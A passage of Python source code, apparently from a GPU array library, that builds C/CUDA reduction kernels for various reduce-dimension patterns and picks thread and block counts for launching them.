==PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s)
&& n_blocks[1]==ceil_intdiv(PyGpuArray_DIMS(%(x)s)[2],
(size_t)n_threads[0])){
if(verbose>1)
printf("n_block.x.1=%%d, n_block.x.2=%%d, n_block.y.1=%%d, n_block.y.2=%%d,\\n",
PyGpuArray_DIMS(%(x)s)[0],4096,
ceil_intdiv(PyGpuArray_DIMS(%(x)s)[2],(size_t)n_threads[0]),
(size_t)(4096 / n_blocks[0]));
assert(n_threads[0]<=32);
%(makecall_inner)s
}else{
n_threads[0] = std::min(PyGpuArray_DIMS(%(x)s)[1],
(size_t) 256);
n_blocks[0] = std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t)4096);
n_blocks[1] = std::min(
PyGpuArray_DIMS(%(x)s)[2],
(size_t)(4096 / n_blocks[0])
);
%(makecall)s
}
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_0101(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3], (size_t) 256), 1, 1};
while (n_threads[0] * n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[1]) break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[0], PyGpuArray_DIMS(%(x)s)[2], 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_100(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
k_var = f"kernel_reduce_010_AD_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
# use threadIdx.x for i0
# use blockIdx.x for i1
# use blockIdx.y for i2
print(
"""
{
int verbose = %(verbose)s;
if (PyGpuArray_STRIDES(%(x)s)[2] != sizeof(%(in_dtype)s)){
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 256), 1, 1};
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t)4096), 1, 1};
while (n_blocks[0] * (n_blocks[1]+1) <= 4096 &&
n_blocks[1] <= PyGpuArray_DIMS(%(x)s)[2])
{
n_blocks[1] += 1;
}
%(makecall)s
}
else
{ // reuse 010_AD kernel, we transpose the 2 first dim
// See the reduction for the real 010_AD kernel for
// explanation. We do this to get coalesced read.
size_t n_threads[3] = {32, 1, 1};
size_t A = PyGpuArray_DIMS(%(x)s)[1];
size_t B = PyGpuArray_DIMS(%(x)s)[0];
size_t C = PyGpuArray_DIMS(%(x)s)[2];
size_t D = C/32;
if (32*D < C) D+= 1;
assert ((C <= 32*D) && (32*D < C+32));
// The gridsize would ideally be (A, D). But we do the following logic to make
// sure we don't ask for a grid that is too big.
size_t n_blocks[3] = {A, D, 1};
if (n_blocks[0] > 4096) n_blocks[0] = 4096;
if (n_blocks[0]*n_blocks[1] > 4096) n_blocks[1] = 4096/n_blocks[0];
size_t n_shared = 0;
ssize_t stride_A0 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[1]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&A, (void *)&B, (void *)&C, (void *)&D,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, 0, kernel_params);
%(err_check)s
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_110(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t) 256), 1, 1};
while (n_threads[0]*n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[0])
break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[2], 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_001(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[2], (size_t) 256), 1, 1};
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 4096), 1, 1};
while (n_blocks[0] * n_blocks[1] <= 4096)
{
if (n_blocks[1] > PyGpuArray_DIMS(%(x)s)[1])
break;
n_blocks[1] += 1;
}
n_blocks[1] -= 1;
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_101(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(
node,
name,
x,
z,
fail,
extra_dims=[("size_t one = 1;", "(void *) &one")],
extra_strides=[("ssize_t sone = 1;", "(void *) &sone")],
pattern="1011",
)
print(
"""
{
int verbose = %(verbose)s;
// size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3],
// (size_t) 256), 1, 1};
size_t n_threads[3] = {1, 1, 1};
while (n_threads[0] * (n_threads[1]+1) <= 256) ++n_threads[1];
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[2])
n_threads[1] = PyGpuArray_DIMS(%(x)s)[2];
while (n_threads[0] * n_threads[1] * (n_threads[2]+1) <= 256)
++n_threads[2];
if (n_threads[2] > 64)
n_threads[2] = 64;
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
n_threads[2] = PyGpuArray_DIMS(%(x)s)[0];
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[1], 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_111(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[2], (size_t) 256), 1, 1};
//get as many y threads as we can fit
while (n_threads[0] * n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[1])
break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
//get as many z threads as we can fit
while (n_threads[0] * n_threads[1] * n_threads[2] <= 256)
{
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
break;
n_threads[2] += 1;
}
n_threads[2] -= 1;
//Maximum for Fermi GPU on that dimensions.
n_threads[2] = std::min(n_threads[2], (size_t)64);
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_0011(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
print(
"""
{
int verbose = %(verbose)s;
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 4096), 1, 1};
while (n_blocks[0] * n_blocks[1] <= 4096 &&
n_blocks[1] < PyGpuArray_DIMS(%(x)s)[1])
{
n_blocks[1] += 1;
}
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3], (size_t) 256), 1, 1};
while (n_threads[0] * n_threads[1] <= 256
&& n_threads[1] < PyGpuArray_DIMS(%(x)s)[2]
&& n_threads[0] * n_threads[1] * sizeof(%(acc_dtype)s) <=(15*1024-200))
{
n_threads[1] += 1;
}
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_1111(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[2], (size_t) 256), 1, 1};
//get as many y threads as we can fit
while (n_threads[0] * n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[1])
break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
//get as many z threads as we can fit
while (n_threads[0] * n_threads[1] * n_threads[2] <= 256)
{
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
break;
n_threads[2] += 1;
}
n_threads[2] -= 1;
//Maximum for Fermi GPU on that dimensions.
n_threads[2] = std::min(n_threads[2], (size_t)64);
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_1011(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3], (size_t) 256), 1, 1};
while (n_threads[0] * (n_threads[1]+1) <= 256) ++n_threads[1];
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[2])
n_threads[1] = PyGpuArray_DIMS(%(x)s)[2];
while (n_threads[0] * n_threads[1] * (n_threads[2]+1) <= 256) ++n_threads[2];
if (n_threads[2] > 64)
n_threads[2] = 64;
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
n_threads[2] = PyGpuArray_DIMS(%(x)s)[0];
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[1], 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_cache_version_apply(self, node):
version = [
24,
self.verbose,
] # the version corresponding to the c code in this Op
# now we insert versions for the ops on which we depend...
scalar_node = Apply(
self.scalar_op,
[Scalar(dtype=input.type.dtype)() for input in node.inputs],
[Scalar(dtype=output.type.dtype)() for output in node.outputs],
)
version.extend(self.scalar_op.c_code_cache_version_apply(scalar_node))
for i in node.inputs + node.outputs:
version.extend(Scalar(dtype=i.type.dtype).c_code_cache_version())
version.extend(self.kernel_version(node))
if all(version):
return tuple(version)
else:
return ()
def gpu_kernels(self, node, nodename):
nd_in = len(self.reduce_mask)
in_dtype = node.inputs[0].dtype
out_dtype = node.outputs[0].dtype
acc_dtype = self._acc_dtype(node.inputs[0].dtype)
assign_dtype = in_dtype
flags = Kernel.get_flags(in_dtype, acc_dtype, out_dtype)
in_type = gpuarray.dtype_to_ctype(in_dtype)
out_type = gpuarray.dtype_to_ctype(out_dtype)
acc_type = gpuarray.dtype_to_ctype(acc_dtype)
load_in = load_w(in_dtype)
write_out = write_w(out_dtype)
kernels = []
if all(i == 1 for i in self.reduce_mask):
# this kernel is ok for up to a few thousand elements, but
# it only runs on ONE multiprocessor
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node, nodename, "myresult", load_in + "(A[i0])", {}, True
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
kname = "kernel_reduce_ccontig"
k_var = "kernel_reduce_ccontig_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0,
const %(in_type)s *A, const ga_size offset_A,
%(out_type)s *Z, const ga_size offset_Z)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.x; i0 < d0; i0 += blockDim.x)
{
%(reduce_fct)s
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = ["uintp", gpuarray.GpuArray, "uintp", gpuarray.GpuArray, "uintp"]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1,):
# this kernel is ok for up to a few thousand elements, but
# it only runs on ONE multiprocessor
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node, nodename, "myresult", load_in + "(A[i0 * sA0])", {}, True
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
kname = "kernel_reduce_1"
k_var = "kernel_reduce_1_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0,
%(out_type)s * Z, const ga_size offset_Z)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.x; i0 < d0; i0 += blockDim.x)
{
%(reduce_fct)s
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
gpuarray.GpuArray,
"uintp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1):
# this kernel is ok for up to a few thousand elements, but
# it only runs on ONE multiprocessor
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1])",
{},
True,
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
kname = "kernel_reduce_11"
k_var = "kernel_reduce_11_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1,
%(out_type)s * Z, const ga_size offset_Z)
{
const int threadCount = blockDim.x * blockDim.y;
const int threadNum = threadIdx.y*blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.y; i0 < d0; i0 += blockDim.y)
{
for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
# 01, 011, 0111
if (
0 == self.reduce_mask[0]
and all(self.reduce_mask[1:])
and nd_in in [2, 3, 4]
):
# this kernel uses one block for each row.
# threads per block for each element per row.
N_pattern = "".join(["1"] * (nd_in - 1))
# TODO: is it faster to hardcode sA3, etc. in the later
# code, rather than have the for_* variables declare them
# and the later code use their names?
if nd_in == 2:
for_i1 = "for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)"
first_i1 = "threadIdx.x"
sA1 = "sA1"
for_i2 = "int i2=0, sA2=0;"
sA2 = "0"
first_i2 = "0"
for_i3 = "int i3=0, sA3=0;"
sA3 = "0"
first_i3 = "0"
if nd_in == 3:
for_i1 = "for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)"
first_i1 = "threadIdx.y"
sA1 = "sA1"
for_i2 = "for (int i2 = threadIdx.x; i2 < d2; i2 += blockDim.x)"
first_i2 = "threadIdx.x"
sA2 = "sA2"
for_i3 = "int i3=0, sA3=0;"
first_i3 = 0
sA3 = "0"
if nd_in == 4:
for_i1 = "for (int i1 = threadIdx.z; i1 < d1; i1 += blockDim.z)"
first_i1 = "threadIdx.z"
sA1 = "sA1"
for_i2 = "for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)"
first_i2 = "threadIdx.y"
sA2 = "sA2"
for_i3 = "for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)"
first_i3 = "threadIdx.x"
sA3 = "sA3"
reducebuf = self._k_reduce_buf("Z[i0 * sZ0]", node, nodename, sub={})
param_dim = ",".join([f"const ga_size d{i}" for i in range(nd_in)])
param_strides = ",".join([f"const ga_ssize sA{i}" for i in range(nd_in)])
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_init = self._assign_init(
load_in
+ "(A[%(first_i3)s * %(sA3)s + %(first_i2)s * %(sA2)s + %(first_i1)s * %(sA1)s + i0 * sA0])"
% locals(),
assign_dtype,
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i3 * sA3 + i2 * sA2 + i1 * sA1 + i0 * sA0])",
{},
True,
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x){
myresult = %(reduce_init)s;
%(for_i1)s{
%(for_i2)s{
%(for_i3)s{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 1, 0) or self.reduce_mask == (1, 0):
# this kernel uses one block for each column,
# threads per block for each element per column.
# TODO: This kernel is pretty inefficient in terms of reading, because if A is
# c_contiguous (typical case) then each warp is accessing non-contigous
# memory (a segment of a column).
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i2*sZ1]", node, nodename, sub={}
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + threadIdx.x * sA1 + i2 * sA2])", assign_dtype
)
kname = "kernel_reduce_010"
k_var = "kernel_reduce_010_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0, const ga_ssize sZ1)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i2 = blockIdx.y; i2 < d2; i2 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)
{
%(reduce_fct)s;
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask in [(0, 1, 0), (1, 0), (1, 0, 0)]:
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(X[a * sX0 + b * sX1 + c * sX2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(X[a * sX0 + 0 * sX1 + c * sX2])", assign_dtype
)
kname = "kernel_reduce_010_AD"
k_var = "kernel_reduce_010_AD_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size A, const ga_size B, const ga_size C, const ga_size D,
const %(in_type)s *X, const ga_size offset_X,
const ga_ssize sX0, const ga_ssize sX1, const ga_ssize sX2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0, const ga_ssize sZ1)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
X = (const %(in_type)s *)(((char *)X)+offset_X);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = 0;
for (int a = blockIdx.x; a < A; a += gridDim.x)
{
for (int i2_D = blockIdx.y; i2_D < D; i2_D += gridDim.y)
{
int c = i2_D * 32 + threadIdx.x;
if (c < C)
{
myresult = %(reduce_init)s;
for (int b = 0; b < B; ++b)
{
%(reduce_fct)s;
}
Z[a * sZ0 + c * sZ1] = %(write_out)s(myresult);
}
}
}
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 1, 0):
#
# This kernel is optimized when the inner most dimensions
# have the smallest stride.
# this kernel uses one block for multiple column(up to 32TODO),
# threads per block for each element per column.
# thread.x = dim 2 contiguous
# thread.y = dim 1
# block.x = dim 0
# block.y = dim 1 rest
init = self._k_init(node, nodename)
decl, kname, params, k_var = self._k_decl(
node, nodename, pattern="010_inner"
)
reducebuf = self._k_reduce_buf_multiple(
"Z[i0 * sZ0 + i2*sZ1]", node, nodename, "blockDim.x"
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + 0 * sA1 + i2 * sA2])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i2 = blockIdx.y*blockDim.x+threadIdx.x; i2 < d2; i2 += gridDim.y*blockDim.x)
{
myresult = %(reduce_init)s;
for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)
{
%(reduce_fct)s;
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1, 0):
# this kernel uses one block for each column,
# threads per block for each element per column.
# TODO: This kernel is pretty inefficient in terms of reading, because if A is
# c_contiguous (typical case) then each warp is accessing non-contigous
# memory (a segment of a column).
reducebuf = self._k_reduce_buf(
"Z[blockIdx.x * sZ0]", node, nodename, sub={}
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + blockIdx.x * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[blockIdx.x * sA2])", assign_dtype
)
kname = "kernel_reduce_110"
k_var = "kernel_reduce_110_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0)
{
const int threadCount = blockDim.x * blockDim.y;
const int threadNum = threadIdx.y * blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.y; i0 < d0; i0 += blockDim.y)
{
for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 0, 0):
reducebuf = self._k_reduce_buf(
"Z[i1 * sZ0 + i2 * sZ1]", node, nodename, sub={}
)
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i1 * sA1 + i2 * sA2])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i2 = blockIdx.y; i2 < d2; i2 += gridDim.y)
{
for (int i1 = blockIdx.x; i1 < d1; i1 += gridDim.x)
{
myresult = %(reduce_init)s;
for (int i0 = threadIdx.x; i0 < d0; i0 += blockDim.x)
{
%(reduce_fct)s
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1, 1):
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
myresult = %(reduce_init)s;
for (int i0 = threadIdx.z; i0 < d0; i0 += blockDim.z)
{
for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)
{
for (int i2 = threadIdx.x; i2 < d2; i2 += blockDim.x)
{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 0, 1):
# this kernel uses one block for each row,
# threads per block for each element per row.
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i1 * sZ1]", node, nodename, sub={}
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + i1 * sA1])", assign_dtype
)
kname = "kernel_reduce_001"
k_var = "kernel_reduce_001_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0, const ga_ssize sZ1)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i1 = blockIdx.y; i1 < d1; i1 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i2 = threadIdx.x; i2 < d2; i2 += blockDim.x)
{
%(reduce_fct)s;
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 0, 1, 1):
# this kernel uses one block for each row,
# threads per block for each element per row.
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i1 * sZ1]", node, nodename, sub={}
)
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + i1 * sA1])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i1 = blockIdx.y; i1 < d1; i1 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 1, 0, 1):
# this kernel uses one block for each row,
# threads per block for each element per row.
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i2 * sZ1]", node, nodename, sub={}
)
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(
